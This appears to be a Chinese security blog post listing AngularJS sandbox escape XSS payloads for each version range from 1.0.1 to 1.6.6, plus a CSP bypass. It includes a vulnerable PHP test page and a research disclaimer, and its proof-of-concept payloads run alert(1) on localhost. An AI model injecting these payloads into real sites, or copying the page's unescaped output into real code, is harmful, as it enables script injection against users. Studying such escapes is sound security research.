0x01 测试环境
<html ng-app> <head> <script src="https://code.angularjs.org/{version}/angular.min.js"></script> </head> <body> <p> <?php $q = $_GET['q']; echo htmlspecialchars($q,ENT_QUOTES); ?> </p> </body> </html>
0x02 逃逸姿势
2.1 v1.0.1-v1.1.5
http://127.0.0.1/test/xss/angular.php?q={{ constructor.constructor('alert(1)')() }}
2.2 v1.2.0-v1.2.18
http://127.0.0.1/test/xss/angular.php?q={{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}
2.3 v1.2.19-v1.2.23
http://127.0.0.1/test/xss/angular.php?q={{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }}
2.4 v1.2.24-v1.2.26
实在太长了。。。。
2.5 v1.2.27-v1.2.29/v1.3.0-v1.3.20
http://127.0.0.1/test/xss/angular.php?q={{ {}.")));alert(1)//"; }}
实际测试为v1.2.20-v1.2.32/v1.3.0-v1.3.20均生效。
2.6 v1.4.0-v1.4.5(仅chrome)
http://127.0.0.1/test/xss/angular.php?q={{ o={};l=o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location='javascript:alert(1)'; }}
2.7 v1.4.5-1.5.8 (仅chrome)
http://127.0.0.1/test/xss/angular.php?q={{ x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=alert(1)' }}
2.8 v1.6.0-1.6.6
先知xss挑战赛学到的一个姿势
http://127.0.0.1/test/xss/angular.php?q={{ [].pop.constructor('alert(1)')() }}
2.9 csp bypass (仅chrome v1.4.0-v1.6.6)
<html ng-app> <head> <?php header("Content-Security-Policy:default-src 'self';script-src code.angularjs.org 'self'"); ?> <script src="https://code.angularjs.org/{version}/angular.min.js"></script> </head> <body> <p> <?php echo $_GET['q']; ?> </p> </body> </html>
http://127.0.0.1/test/xss/angular.php?q=<input+autofocus ng-focus="$event.path|orderBy:'!x?[].constructor.from([x=1],alert):0'">
2.10
后来,由于一直被绕过,AngularJS干脆废除了沙盒机制。。。
ps. 就冲这些绕过姿势,没学js是正确的选择。。。
0x03 参考资料
作者:seaii
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论